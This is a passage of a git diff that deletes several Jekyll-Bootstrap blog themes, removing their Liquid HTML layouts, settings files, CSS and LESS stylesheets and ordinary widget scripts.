-{{ content }} - -</div><!-- End Page --> diff --git a/_includes/themes/mark-reid/post.html b/_includes/themes/mark-reid/post.html deleted file mode 100644 index 76cbaed..0000000 --- a/_includes/themes/mark-reid/post.html +++ /dev/null @@ -1,28 +0,0 @@ -<div id="page"> - - <h1 class="emphnext">{{ page.title }}</h1> - <ul class="tag_box inline"> - {% assign tags_list = page.tags %} - {% include JB/tags_list %} - </ul> - - {{ content }} - - <address class="signature"> - <a class="author" href="{{ HOME_PATH }}">{{ site.author.name }}</a> - <span class="date">{{ page.date | date_to_long_string }}</span> - <span class="location">{{ page.location }}</span> - </address> - - <div class="prev-next"> - {% if page.next %} - <a href="{{ page.next.url }}" class="next" title="{{ page.next.title }}">Next Post →</a> - {% endif %} - {% if page.previous %} - <a href="{{ page.previous.url }}" class="prev" title="{{ page.previous.title }}">← Earlier Post</a> - {% endif %} - </div> - -</div><!-- End Page --> - -{% include JB/comments %} diff --git a/_includes/themes/mark-reid/settings.yml b/_includes/themes/mark-reid/settings.yml deleted file mode 100644 index 68ca3d8..0000000 --- a/_includes/themes/mark-reid/settings.yml +++ /dev/null @@ -1,2 +0,0 @@ -theme : - name : mark-reid \ No newline at end of file diff --git a/_includes/themes/the-minimum/default.html b/_includes/themes/the-minimum/default.html deleted file mode 100644 index 00d015f..0000000 --- a/_includes/themes/the-minimum/default.html +++ /dev/null @@ -1,83 +0,0 @@ -<!DOCTYPE html> -<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7 ie" lang="en"> <![endif]--> -<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8 ie" lang="en"> <![endif]--> -<!--[if IE 8]> <html class="no-js lt-ie9 ie" lang="en"> <![endif]--> -<!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]--> -<head> - <meta charset="utf-8"> - <meta name="viewport" content="width=device-width,initial-scale=1"> - <title>{{ page.title }}</title> - <meta name="author" content="{{ site.author.name }}"> - <link href='{{ ASSET_PATH }}/css/style.css' rel="stylesheet" media="all"> - <link href="http://feeds.feedburner.com/{{ site.author.feedbaname }}" rel="alternate" title="{{ page.title }}" type="application/atom+xml"> - <script src="http://cdnjs.cloudflare.com/ajax/libs/modernizr/2.0.6/modernizr.min.js"></script> -</head> -<body> - -<div id="page" class="hentry"> - <header class="the-header"> - <div class="unit-head"> - <div class="unit-inner unit-head-inner"> - <p class="logo"><a href="{{ HOME_PATH }}">{{ site.title }}</a></p> - <nav class="nav-global"> - <ul> - <li class="archive"><a href="/archive.html">archive</a></li> - <li class="page"><a href="/pages.html">pages</a></li> - <li class="category"><a href="/categories.html">categories</a></li> - <li class="tag"><a href="/tags.html">tags</a></li> - <li class="forkme"><iframe src="http://markdotto.github.com/github-buttons/github-btn.html?user=plusjade&repo=jekyll-bootstrap&type=fork&count=true" - allowtransparency="true" frameborder="0" scrolling="0" width="95px" height="20px"></iframe></li> - </ul> - </nav> - </div><!-- unit-inner --> - </div><!-- unit-head --> - </header> - <div class="body" role="main"> - <div class="unit-body"> - <div class="unit-inner unit-body-inner"> - <div class="entry-content"> - {{ content }} - </div> - </div><!-- unit-inner --> - </div><!-- unit-body --> - </div><!-- body --> - <footer class="the-footer"> - <div class="unit-foot"> - <div class="unit-inner unit-foot-inner"> - <div class="misc vcard"> - <h4>about</h4> - <ul> - <li class="contact"><address><span class="author fn n">{{ site.author.name }}</span> - <span class="fn email">{{ site.author.email }}</span></address></li> - <li class="github"><a href="http://github.com/{{ site.author.github }}/" rel="me">github.com/{{ site.author.github }}</a></li> - <li class="twitter"><a href="http://twitter.com/{{ site.author.twitter }}/" rel="me">twitter.com/{{ site.author.twitter }}</a></li> - <li class="rss"><a href="http://feeds.feedburner.com/{{ site.author.feedname }}">Subscribe to RSS Feed</a></li> - </ul> - </div><!-- misc --> - <p class="licence"> - Theme: <a href="http://layouts-the.me">the_minimum</a> based on <a href="http://jekyllbootstrap.com/">Jekyll-bootstrap</a>.<br> - Powered by <a href="https://github.com/mojombo/jekyll">Jekyll</a>. - </p> - </div><!-- unit-foot-inner --> - </div><!-- unit-foot --> - </footer> -</div><!-- page --> -<script> - (function(d, s) { - var js, fjs = d.getElementsByTagName(s)[0], load = function(url, id) { - if (d.getElementById(id)) {return;} - js = d.createElement(s); js.src = url; js.id = id; - fjs.parentNode.insertBefore(js, fjs); - }; - load('//platform.twitter.com/widgets.js', 'tweetjs'); - // load('https://apis.google.com/js/plusone.js', 'gplus1js'); // Checkout http://j.mp/ApDgMr for usage html for this is <div class="g-plusone" data-size="medium"></div> - // load('//connect.facebook.net/en_US/all.js#xfbml=1', 'fbjssdk'); // Checkout http://j.mp/wZw2xR for using open graph protorol html for this is <div class="fb-like" data-href="{{ page.url }}" data-send="false" data-layout="button_count" data-width="450" data-show-faces="false" data-font="verdana"></div> - }(document, 'script')); -</script> -<script> -/*! A fix for the iOS orientationchange zoom bug.Script by @scottjehl, rebound by @wilto. MIT License.*/ -(function(j){var i=j.document;if(!i.querySelectorAll){return}var l=i.querySelectorAll("meta[name=viewport]")[0],a=l&&l.getAttribute("content"),h=a+", maximum-scale=1.0",d=a+", maximum-scale=10.0",g=true,c=j.orientation,k=0;if(!l){return}function f(){l.setAttribute("content",d);g=true}function b(){l.setAttribute("content",h);g=false}function e(m){c=Math.abs(j.orientation);k=Math.abs(m.gamma);if(k>8&&c===0){if(g){b()}}else{if(!g){f()}}}j.addEventListener("orientationchange",f,false);j.addEventListener("deviceorientation",e,false)})(this); -</script> - - {% include JB/analytics %} -</body> -</html> diff --git a/_includes/themes/the-minimum/page.html b/_includes/themes/the-minimum/page.html deleted file mode 100644 index 7c92f28..0000000 --- a/_includes/themes/the-minimum/page.html +++ /dev/null @@ -1,28 +0,0 @@ -<article class="unit-article layout-page"> - <div class="unit-inner unit-article-inner"> - <div class="content"> - <header> - <div class="unit-head"> - <div class="unit-inner unit-head-inner"> - <h1 class="h2 entry-title">{{ page.title }}</h1> - </div><!-- unit-inner --> - </div><!-- unit-head --> - </header> - - <div class="bd"> - <div class="entry-content"> - {{ content }} - </div><!-- entry-content --> - </div><!-- bd --> - - <footer class="unit-foot"> - <div class="unit-inner unit-foot-inner"> - <p class="gotop"> - <a href="#page">Back to Top</a> - </p> - </div> - </footer> - - </div><!-- content --> - </div><!-- unit-inner --> -</article> diff --git a/_includes/themes/the-minimum/post.html b/_includes/themes/the-minimum/post.html deleted file mode 100644 index 4e6f11c..0000000 --- a/_includes/themes/the-minimum/post.html +++ /dev/null @@ -1,71 +0,0 @@ -<article class="unit-article layout-post"> - <div class="unit-inner unit-article-inner"> - <div class="content"> - <header> - <div class="unit-head"> - <div class="unit-inner unit-head-inner"> - <h1 class="h2 entry-title">{{ page.title }}</h1> - </div><!-- unit-inner --> - </div><!-- unit-head --> - </header> - - <div class="bd"> - <div class="entry-content"> - {{ content }} - <div class="meta"> - <p class="date-publish"> - Published: - <date class="date-pub" title="{{ page.date | date_to_xmlschema }}" datetime="{{ page.date | date_to_xmlschema }}" pubdate> - <span class="month"><abbr>{{ page.date | date: '%B' }}</abbr></span> - <span class="day">{{ page.date | date: '%d' }}</span> - <span class="year">{{ page.date | date: '%Y' }}</span> - </date> - </p> - <ul class="list-category list-linear"> - <li class="list-head">category: </li> - {% assign categories_list = page.categories %} - {% include JB/categories_list %} - </ul> - <ul class="list-tag list-linear"> - <li class="list-head">tags: </li> - {% assign tags_list = page.tags %} - {% include JB/tags_list %} - </ul> - </div><!-- meta --> - </div><!-- entry-content --> - <div class="misc-content"> - <div class="social"> - <ul class="list-linear"> - <li><div class="twitter-tweet"><a href="https://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-via="{{ site.author.twitter }}" data-lang="en">Tweet</a></div></li> - <li><div class="twitter-follow"><a href="https://twitter.com/{{ site.author.twitter }}" class="twitter-follow-button" data-show-count="false" data-lang="en"></a></div></li> - </ul> - </div> - - {% include JB/comments %} - </div><!-- misc-content --> - - </div><!-- bd --> - <footer class="unit-foot"> - <div class="unit-inner unit-foot-inner"> - <nav class="pagination"> - <ul> - {% if page.previous %} - <li class="prev"><a class="internal" rel="prev" href="{{ page.previous.url }}" title="View {{ page.previous.title }}">« {{ page.previous.title }}</a></li> - {% endif %} - {% if page.previous and page.next %} - <li class="pipe"> | </li> - {% endif %} - {% if page.next %} - <li class="next"><a class="internal" rel="next" href="{{ page.next.url }}" title="View {{ page.next.title }}">{{ page.next.title }} »</a></li> - {% endif %} - </ul> - </nav> - <p class="gotop"> - <a href="#page">Back to Top</a> - </p> - </div> - </footer> - - </div><!-- content --> - </div><!-- unit-inner --> -</article> diff --git a/_includes/themes/the-minimum/settings.yml b/_includes/themes/the-minimum/settings.yml deleted file mode 100644 index 2d4ce2c..0000000 --- a/_includes/themes/the-minimum/settings.yml +++ /dev/null @@ -1,2 +0,0 @@ -theme : - name : the-minimum \ No newline at end of file diff --git a/_includes/themes/tom/default.html b/_includes/themes/tom/default.html deleted file mode 100644 index 8e1d878..0000000 --- a/_includes/themes/tom/default.html +++ /dev/null @@ -1,58 +0,0 @@ -<!DOCTYPE html> -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en-us"> -<head> - <meta http-equiv="content-type" content="text/html; charset=utf-8" /> - <title>{{ page.title }}</title> - <meta name="author" content="{{ site.author.name }}" /> - <link href="http://feeds.feedburner.com/username" rel="alternate" title="your title" type="application/atom+xml" /> - - <!-- syntax highlighting CSS --> - <link rel="stylesheet" href="{{ ASSET_PATH }}/css/syntax.css" type="text/css" /> - - <!-- Homepage CSS --> - <link rel="stylesheet" href="{{ ASSET_PATH }}/css/screen.css" type="text/css" media="screen, projection" /> - - <!-- Typekit --> - <script type="text/javascript" src="http://use.typekit.com/jpd0pfm.js"></script> - <script type="text/javascript">try{Typekit.load();}catch(e){}</script> -</head> -<body> - - <div class="site"> - <div class="title"> - <a href="{{ HOME_PATH }}">{{ site.title }}</a> - <a class="extra" href="/archive.html">Archive</a> - <a class="extra" href="/pages.html">Pages</a> - <a class="extra" href="/categories.html">Categories</a> - <a class="extra" href="/tags.html">Tags</a> - </div> - - {{ content }} - - <div class="footer"> - <div class="contact"> - <p> - {{ site.author.name }}<br /> - {{ site.tagline }}<br /> - {{ site.author.email }} - </p> - </div> - <div class="contact"> - <p> - <a href="http://github.com/{{ site.author.github }}/">github.com/{{ site.author.github }}</a><br /> - <a href="http://twitter.com/{{ site.author.twitter }}/">twitter.com/{{ site.author.twitter }}</a><br /> - <a href="http://flickr.com/photos/username/">flickr.com/photos/username</a> - </p> - </div> - <div class="rss"> - <a href="http://feeds.feedburner.com/username"> - <img src="/images/rss.png" alt="Subscribe to RSS Feed" /> - </a> - </div> - </div> - </div> - <a href="http://github.com/{{ site.author.github }}"><img style="position: absolute; top: 0; right: 0; border: 0;" src="http://s3.amazonaws.com/github/ribbons/forkme_right_red_aa0000.png" alt="Fork me on GitHub" /></a> - - {% include JB/analytics %} -</body> -</html> diff --git a/_includes/themes/tom/page.html b/_includes/themes/tom/page.html deleted file mode 100644 index 8c753b9..0000000 --- a/_includes/themes/tom/page.html +++ /dev/null @@ -1,3 +0,0 @@ -<div id="post"> -{{ content }} -</div> diff --git a/_includes/themes/tom/post.html b/_includes/themes/tom/post.html deleted file mode 100644 index 088407a..0000000 --- a/_includes/themes/tom/post.html +++ /dev/null @@ -1,19 +0,0 @@ -<div id="post"> - <h1>{{ page.title }}</h1> - <p class="meta"> - {{ page.date | date_to_long_string }} - {% if page.location %}{{ page.location }}{% endif %} - </p> - {{ content }} -</div> - -<div id="related"> - <h2>Related Posts</h2> - <ul class="posts"> - {% for post in site.related_posts limit:3 %} - <li><span>{{ post.date | date_to_string }}</span> » <a href="{{ post.url }}">{{ post.title }}</a></li> - {% endfor %} - </ul> -</div> - -{% include JB/comments %} \ No newline at end of file diff --git a/_includes/themes/tom/settings.yml b/_includes/themes/tom/settings.yml deleted file mode 100644 index 5c24099..0000000 --- a/_includes/themes/tom/settings.yml +++ /dev/null @@ -1,2 +0,0 @@ -theme : - name : tom \ No newline at end of file diff --git a/assets/themes/mark-reid/css/screen.css b/assets/themes/mark-reid/css/screen.css deleted file mode 100644 index 494c382..0000000 --- a/assets/themes/mark-reid/css/screen.css +++ /dev/null @@ -1,549 +0,0 @@ -/* @override http://mark.reid.dev/files/css/screen.css */ - -/* @override - http://mark.reid.dev/files/css/screen.css - http://mark.reid.name/files/css/screen.css -*/ - -/* screen.css - * - * A clean, simple stylesheet that aims for - * a consistent vertical rhythm. - * - * Base font height: 16px - * Base line length: 24px - * - * AUTHOR: Mark Reid <mark@reid.name> - */ - -/* @group Reset */ -body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,p,blockquote,th,td,abbr { margin:0; padding:0;} -/* @end */ - -body { - font-family: Palatino, georgia, "times new roman", serif; - background-color: whitesmoke; - background-position: center -18em; - background-repeat: repeat-x; -} - -/* Hack via Joel Spolsky to make image rescaling nicer in IE */ -img { -ms-interpolation-mode:bicubic; } - -/* IE6 ignores this and uses default size of 16pt */ -html>body { font-size:16px; } -p { margin: 0 0 1.5em 0; text-align: justify; } - -a { text-decoration: none; color: #339; } -a:hover { text-decoration: underline; color: #33f; } -a.pdf:before { - margin-right: 1em; - content: url(/files/css/icon_pdf.gif); } - -h1,h2,h3,h4 { - line-height:1em; - font-size:1.5em; - font-weight: normal; - clear: left; - font-family: 'lucida grande', sans-serif; -} -h1 { margin-bottom: 1em; } -h2 { - font-size: 100%; - line-height: 1.5em; - margin:1.5em 0 1.5em 0; - font-weight:bold; -} - -hr { - border-top: 1px solid silver; - border-bottom: none; - padding: 0; - margin: 1.46em 0 0 0; -} - -sup { line-height: 1ex; } - -#site { - max-width: 46em; - margin: 1.5em auto 3em auto; - line-height:1.5em; -} - -#page, #disqus_thread { - background: white; -/* background-image: url(grid.png); */ - padding: 3em 3em 1.5em 3em; - border: 1px solid #ccc; -} - -/* More experimental CSS3 features */ -#page, #disqus_thread { - box-shadow: 2px 2px 8px #aaa; - -webkit-box-shadow: 2px 2px 8px #aaa; - -moz-box-shadow: 2px 2px 8px #aaa; -} - -#disqus_thread { padding-top: 0; } - -/* TODO -#page { counter-reset: section; } -#page h2:before { - margin-left: -3.5ex; - color: silver; - content: "§" counter(section) ". "; - counter-increment: section 2; -} -*/ - -/* @group FancyFirst */ -.emphnext + p:first-letter, p.emphfirst:first-letter { - font-size: 48px; - padding: 0 0.15em 0 0; - margin: 0.05em 0 -0.15em 0; - line-height: 1em; - float: left; -} - -.emphnext + p:first-line, p.emphfirst:first-line { - font-variant: small-caps; - font-size: larger; -} -/* @end */ - -.right { float: right; clear: left; } -.left { float: left; clear: right; } -.inset { - border: 1px solid silver; - padding: 2px; - margin: 0em 0.8em 0.8em 0.8em; -} -.right.inset { margin-right: 0 !important; } -.left.inset { margin-left: 0 !important; } -.quiet { - color: grey; - font-size: 0.875em; - line-height: 1.714em; -} -blockquote { - padding: 0 2.8em; - margin: 1.714em 0; - color: #444; - font-size: 0.875em; - line-height: 1.714em; -} - -.note { - padding-top: 0.5em; - background-color: #fafaff; - border-top: 1px solid silver; - border-bottom: 1px solid silver; -} -/* @group Table */ -table.neat { - width: 80%; - margin: 1.5em auto 1.5em auto; - table-layout: fixed; - border-spacing: 0; -} -table.neat tr { text-align: center; } -table.neat th { font-weight: normal; background-color: #eeeeee; } -table.neat td { background-color: white; } -table.neat th.title { border-bottom: 1px solid gray; border-top: 1px solid gray; vertical-align: bottom; background-color: lightgrey; } -caption { - color: #333; - font-size: 0.875em; - margin: 0.875em auto 0 auto; - line-height: 1.14em; - text-align: justify; -} - -/* @end */ - -/* @group Lists */ -ul { - margin-top: 1.5em; - margin-bottom: 1.5em; - line-height: 1.5em; - padding-left: 1.5em; -} -ul li { - list-style-type: square; - list-style-position: outside; -} -ol li { - list-style-type: decimal; - list-style-position: inside; -} -dt { font-weight: bold;} -dd { margin: 0 0 1.5em 0; text-align: justify; } - -ul.compact { margin: 0; padding: 0;} -ul.compact li { list-style: ; - list-style-type: square; - list-style-position: inside; -} -ul.compact li span.date { - display: none; - color: grey; - width: 20%; -} -ul.compact li a { - width: 70%; -} -/* @end */ - -/* @group Header */ -#header, #header a { color: silver; } -#header .hover { color: transparent; } -#header:hover a { color: black; text-shadow: #aaa 2px 2px 3px;} -#header:hover a:hover { text-decoration: none; } -#header a:hover .hover { color: silver; } -#header { - position: relative; - font-variant: small-caps; - line-height: 1em; - margin-top: .5em; - margin-bottom: 0; -} -#header h1 { - font-family: Palatino, georgia, "times new roman", serif; - margin-bottom: 0; - line-height: 0.9em; - display: block; - font-weight: normal; -} - -#header ul { - position: absolute; - top: 0; - right: 0; - font-size: 100%; - line-height: 1.6em; - display: block; - margin: 0; - width: 50%; - text-align: right; -} -#header ul li { display: inline; } -#header ul li a { - padding: 0.4em 0.3em 0 0.3em; - display: inline; -} -#header ul li a:hover { - color: blue; - border-bottom: 2px solid blue; -} -#header .byline { - color: silver; - font-size: 10pt; - line-height: 75% -} -#header:hover .byline a { color: silver; text-shadow: none; } -#header:hover .byline a:hover { color: black; text-shadow: #aaa 1px 1px 2px;} - -/* @group Twitter */ -#twitter_update_list { display: inline; margin: 0; } -#twitter_update_list li { display: inline; margin: 0;} -.twitter-title { display: inline; margin: 0; } -.twitter-title a { display: inline; } -/* @end */ - -body#Work #header a.work, -body#Home #header a.home, -body#Play #header a.play, -body#Info #header a.info, -body#Code #header a.code, -body#Past #header a.past, -body#Kith #header a.kith -{ - border-bottom: 2px solid silver; -} - -/* @end */ - -/* @group Footnotes */ -.footnotes { color: grey; } -.footnotes:hover { color: black; } -.footnotes ol li { - list-style-type: decimal; - list-style-position: inside; - font-size: 75%; - line-height: 1.5em; -} -.footnotes ol li > a { display: none; } -/* @end */ - -/* @group Sections */ -.section { - font-size: 87.5%; - line-height: 1.43em; - margin-bottom: 1.43em; - margin-top: 1.43em; - margin-left: 7.5em; - padding-right: 3em; -} -.section h1 { - font-family: Palatino, georgia, serif; - font-size: 100%; - line-height: 1.43em; - position: absolute; - width: 6em; - max-width: 6em; - margin-left: -7.5em; - font-weight: bold; - font-variant: small-caps; -} -.section p { margin-bottom: 1.43em; } - -/* @end */ - -.list .title { font-weight: bold; } -p.line { position: relative; margin: 0; } -p.excerpt { margin: 0; } -.comments { font-size: smaller; position: absolute; color: silver; right: 0; top: 0; } -.excerpt { color: black; } - -/* @group Signature */ -.signature { - margin-top: 3em; - position: relative; -} -.signature .author { - font-variant: small-caps; - font-style: normal; - color: black; - display: block; - margin-bottom: 1.5em; -} -.signature .date { - font-size: 87.5%; - line-height: 1.5em; - display: block; - font-variant: small-caps; - font-style: normal; - position: absolute; - right: 0; - top: 0; -} -.signature .location { - display: block; - font-size: 87.5%; - line-height: 1.5em; - position: absolute; - right: 0; - top: 1.5em; -} -/* @end */ - -/* @group Code */ -pre { - margin: 1em 0 1.5em 0; - font-size: 0.75em; /* Hack to make code look same size as body font */ - line-height: 1.5em; - color: #111; - background: #fffff0; - border: 1px solid #ddc; - padding: 0.5em 1em; - overflow: hidden; - - /* Experimental CSS3 stuff */ - box-shadow: 1px 1px 6px #ccc; - -webkit-box-shadow: 1px 1px 6px #ccc; - -moz-box-shadow: 1px 1px 6px #ccc; -} -pre:hover { - border-right: none; - overflow: visible; -} -code { - font-size: 1em; - background-color: #f7f7ff; - line-height: 1.4em; -} -pre > code { - background-color: transparent; -} -/* @end */ - - -/* @group Disqus */ -#disqus_thread { - margin-top: 2.93em; -} -.dsq-comment-body { - text-align: justify; - line-height: 1.29em; -} -.dsq-comment { - padding-top: 0 !important; - margin-top: 1.7em !important; - margin-bottom: 1.9em !important; - background-image: none !important; -} -.dsq-comment-message { - line-height: 1.714em; -} -.dsq-comment-header { - background-color: whitesmoke !important; - border-top: 1px solid silver !important; - border-bottom: 1px solid silver !important; - margin-bottom: 1.15em !important; -} -.dsq-header-time { margin-left: 0 !important; } -.dsq-comment-header cite { - font-variant: small-caps; - margin-left: 0 !important; -} -.dsq-comment-footer { - font-size: 75% !important; - margin-top: 1px !important; -} -#dsq-options { - background: whitesmoke; - border-bottom: 1px solid silver; - border-top: 1px solid silver; - padding: 0 0 0 1em; -} -#dsq-comments-count { - margin-top: 0.8em !important; - margin-bottom: 1.2em !important; -} -#dsq-extra-links { padding-left: 0 !important; } -#dsq-extra-links li img { display: none; } -#dsq-options-toggle { color: silver; font-size: 75% !important;} -#dsq-add-new-comment { - margin-top: 1.19em !important; - margin-bottom: 1.25em !important; -} -/* The following position, width and height ensure - * that none of the body in the iframe shows through. - */ -form#comment { - position: absolute; - height: 100%; - width: 100%; - background-color: white !important; -} -/* @end */ - -/* @group LibraryThing */ -span.LTtitle { display: none; } -div.LTitem { display: inline; margin-right: 0.7em; } -div.LTprovided { display: none; } -/* @end */ - -/* @group Last.fm */ -#lastfm a { margin-right: 0.7em; } -/* @end */ - -/* @group Delicious */ -.delicious-posts { } -.delicious-posts ul, .delicious-posts li, .delicious-banner { margin: 0; padding: 0 } -.delicious-posts li { list-style-position: outside; margin-bottom: 1em; margin-left: 1em; text-align: justify; } -.delicious-post { } -.delicious-banner { display: none; } -.delicious-posts a:hover { } -.delicious-posts a { } -.delicious-post a { font-weight: bold; } -p.delicious-extended { font-size: 100%; display: inline; } -p.delicious-extended:before { content: ' — '; } -/* @end */ - -/* @group Footer */ -#footer { - margin-top: 0; - color: grey; - font-size: 87.5%; - line-height: 1.3em; -} -#footer address { - position: relative; - margin: .5em 0 0 0; - text-align: right; -} -#footer a { - font-variant: small-caps; - font-style: normal; - color: #77d; - text-decoration: none; -} -#footer .copyright { - position: absolute; - left: 0; - text-align: left; - display: block; -} -#footer .engine { - position: absolute; - text-align: right; - display: block; - right: 0; -} -/* @end */ - - -/* @group Figures and images */ -dl.figure { - margin-top: 1.5em; - margin-bottom: 1.5em; - text-align: center; -} - -dl.figure dd { - color: #333; - font-size: 0.875em; - margin: 0.875em auto 0 auto; - line-height: 1.14em; - text-align: justify; - width: 85%; -} -/* @end */ - -/* @group Equations */ -div.maruku-equation { display: block ;text-align: center; } -div.maruku-equation img.maruku-png { position: relative; top: -0.75em;} -span.maruku-inline { } -img.maruku-png { } -/* @end */ - -/* .prev-next */ -.prev-next { - position:relative; -} -.prev-next .next{ - float:right; -} - -/* tag_box ======================================================== */ -.tag_box { - list-style:none; - margin:0; - padding:5px 0 ; - overflow:hidden; -} -.tag_box li { - list-style:none; - line-height:1.8em; -} -.tag_box.inline li { - float:left; -} -.tag_box a { - padding: 3px 6px; - margin: 2px; - background: #eee; - border-radius: 3px; - border:1px dashed #ccc; - text-decoration:none; -} -.tag_box a span{ - vertical-align:super; - font-size:0.8em; -} -.tag_box a.active { - background:#57A957; - border:1px solid #4C964D; - color:#FFF; -} - diff --git a/assets/themes/mark-reid/css/syntax.css b/assets/themes/mark-reid/css/syntax.css deleted file mode 100644 index 2774b76..0000000 --- a/assets/themes/mark-reid/css/syntax.css +++ /dev/null @@ -1,60 +0,0 @@ -.highlight { background: #ffffff; } -.highlight .c { color: #999988; font-style: italic } /* Comment */ -.highlight .err { color: #a61717; background-color: #e3d2d2 } /* Error */ -.highlight .k { font-weight: bold } /* Keyword */ -.highlight .o { font-weight: bold } /* Operator */ -.highlight .cm { color: #999988; font-style: italic } /* Comment.Multiline */ -.highlight .cp { color: #999999; font-weight: bold } /* Comment.Preproc */ -.highlight .c1 { color: #999988; font-style: italic } /* Comment.Single */ -.highlight .cs { color: #999999; font-weight: bold; font-style: italic } /* Comment.Special */ -.highlight .gd { color: #000000; background-color: #ffdddd } /* Generic.Deleted */ -.highlight .gd .x { color: #000000; background-color: #ffaaaa } /* Generic.Deleted.Specific */ -.highlight .ge { font-style: italic } /* Generic.Emph */ -.highlight .gr { color: #aa0000 } /* Generic.Error */ -.highlight .gh { color: #999999 } /* Generic.Heading */ -.highlight .gi { color: #000000; background-color: #ddffdd } /* Generic.Inserted */ -.highlight .gi .x { color: #000000; background-color: #aaffaa } /* Generic.Inserted.Specific */ -.highlight .go { color: #888888 } /* Generic.Output */ -.highlight .gp { color: #555555 } /* Generic.Prompt */ -.highlight .gs { font-weight: bold } /* Generic.Strong */ -.highlight .gu { color: #aaaaaa } /* Generic.Subheading */ -.highlight .gt { color: #aa0000 } /* Generic.Traceback */ -.highlight .kc { font-weight: bold } /* Keyword.Constant */ -.highlight .kd { font-weight: bold } /* Keyword.Declaration */ -.highlight .kp { font-weight: bold } /* Keyword.Pseudo */ -.highlight .kr { font-weight: bold } /* Keyword.Reserved */ -.highlight .kt { color: #445588; font-weight: bold } /* Keyword.Type */ -.highlight .m { color: #009999 } /* Literal.Number */ -.highlight .s { color: #d14 } /* Literal.String */ -.highlight .na { color: #008080 } /* Name.Attribute */ -.highlight .nb { color: #0086B3 } /* Name.Builtin */ -.highlight .nc { color: #445588; font-weight: bold } /* Name.Class */ -.highlight .no { color: #008080 } /* Name.Constant */ -.highlight .ni { color: #800080 } /* Name.Entity */ -.highlight .ne { color: #990000; font-weight: bold } /* Name.Exception */ -.highlight .nf { color: #990000; font-weight: bold } /* Name.Function */ -.highlight .nn { color: #555555 } /* Name.Namespace */ -.highlight .nt { color: #000080 } /* Name.Tag */ -.highlight .nv { color: #008080 } /* Name.Variable */ -.highlight .ow { font-weight: bold } /* Operator.Word */ -.highlight .w { color: #bbbbbb } /* Text.Whitespace */ -.highlight .mf { color: #009999 } /* Literal.Number.Float */ -.highlight .mh { color: #009999 } /* Literal.Number.Hex */ -.highlight .mi { color: #009999 } /* Literal.Number.Integer */ -.highlight .mo { color: #009999 } /* Literal.Number.Oct */ -.highlight .sb { color: #d14 } /* Literal.String.Backtick */ -.highlight .sc { color: #d14 } /* Literal.String.Char */ -.highlight .sd { color: #d14 } /* Literal.String.Doc */ -.highlight .s2 { color: #d14 } /* Literal.String.Double */ -.highlight .se { color: #d14 } /* Literal.String.Escape */ -.highlight .sh { color: #d14 } /* Literal.String.Heredoc */ -.highlight .si { color: #d14 } /* Literal.String.Interpol */ -.highlight .sx { color: #d14 } /* Literal.String.Other */ -.highlight .sr { color: #009926 } /* Literal.String.Regex */ -.highlight .s1 { color: #d14 } /* Literal.String.Single */ -.highlight .ss { color: #990073 } /* Literal.String.Symbol */ -.highlight .bp { color: #999999 } /* Name.Builtin.Pseudo */ -.highlight .vc { color: #008080 } /* Name.Variable.Class */ -.highlight .vg { color: #008080 } /* Name.Variable.Global */ -.highlight .vi { color: #008080 } /* Name.Variable.Instance */ -.highlight .il { color: #009999 } /* Literal.Number.Integer.Long */ diff --git a/assets/themes/the-minimum/css/_layout.less b/assets/themes/the-minimum/css/_layout.less deleted file mode 100644 index 9e2c2fc..0000000 --- a/assets/themes/the-minimum/css/_layout.less +++ /dev/null @@ -1,365 +0,0 @@ -// GO MOBILE FIRST! -.the-header { - .unit-inner { - width: @3cols; - margin-top: @line-height / @em; - margin-bottom: @line-height / @em; - margin-left: auto; - margin-right: auto; - } - .logo a { - font-size: 32px; - line-height: 42px; - } -} // the-header - -.unit-article { - - .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { - width: @3cols; - margin-left: auto; - margin-right: auto; - } - - .unit-head-inner { - .meta { margin-bottom: @line-height / @em; } - } - -} // .the-article - -.layout-page { - - .unit-body { - .unit-body-inner { - width: @3cols; - margin-left: auto; - margin-right: auto; - } - .article-list { - .meta { margin-bottom: @line-height / @em; } - } - } - -} // .layout-page - -.the-footer { - - .unit-foot { - width: @3cols; - margin-left: auto; - margin-right: auto; - } - -} // .the-footer - -/* - IE -*/ - -.ie { - .the-header { - .unit-inner { - width: @11cols; - margin-top: @line-height / @em; - margin-bottom: @line-height / @em; - margin-left: auto; - margin-right: auto; - } - .logo { - width: @5cols; - float: left; - } - .nav-global { - margin-top: 50px; - text-align: right; - width: @5cols; - float: right; - } - } // the-header - - .unit-article { - - .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { - width: @11cols; - margin-left: auto; - margin-right: auto; - } - .unit-head-inner, .entry-content, .misc-content { - h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote { - margin-right: 210px; - } - } - - .unit-head-inner { - .meta { - width: @4cols; - float: right; - } - } - - } // .unit-article - - .layout-page { - - .unit-body { - .unit-body-inner{ - width: @8cols; - margin-left: auto; - margin-right: auto; - } - .article-list { - width: @8cols; - .meta { - width: @4cols; - float: right; - } - } - } - - } // layout-page - - .the-footer { - - .unit-foot { - width: @11cols; - margin-left: auto; - margin-right: auto; - } - - } // .the-footer - -} // .ie - -/* - Smartphone -*/ - -@media only screen and (min-width: 320px) and (max-width: 767px) { - img { max-width: 100%; } -} - -/* - Wide Smartphone -*/ - -@media only screen and (min-width: 480px) { - - .the-header { - .unit-inner { width: @5cols; } - .logo a { - font-size: 42px; - line-height: 52px; - letter-spacing: -1px; - } - .nav-global { - margin-top: @line-height / @em; - letter-spacing: -0.31em; - *letter-spacing: normal; - word-spacing: -0.43em; - list-style: none; - padding-left: 0; - .home:after { - margin-left: 16px; - content: "/"; - } - li { - display: inline-block; - *display: inline; - zoom: 1; - line-height: normal; - letter-spacing: normal; - margin-right: 16px; - word-spacing: normal; - vertical-align: middle; - &:last-child { margin-right: 0; } - } - } - } // the-header - - .unit-article { - - .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @5cols; } - .unit-foot { - .gotop { margin-top: @line-height / @em; } - } - - } // .unit-article - - .layout-page { - - .unit-body { - .unit-body-inner { width: @5cols; } - .article-list { width: @5cols; } - } - - } // .layout-page - - .the-footer { - - .unit-foot { width: @5cols; } - - } // .the-footer - -} // min-width: 480px - -/* - Tablet -*/ - -@media only screen and (min-width: 768px) { - - .the-header { - .unit-inner { width: @8cols; } - } // the-header - - 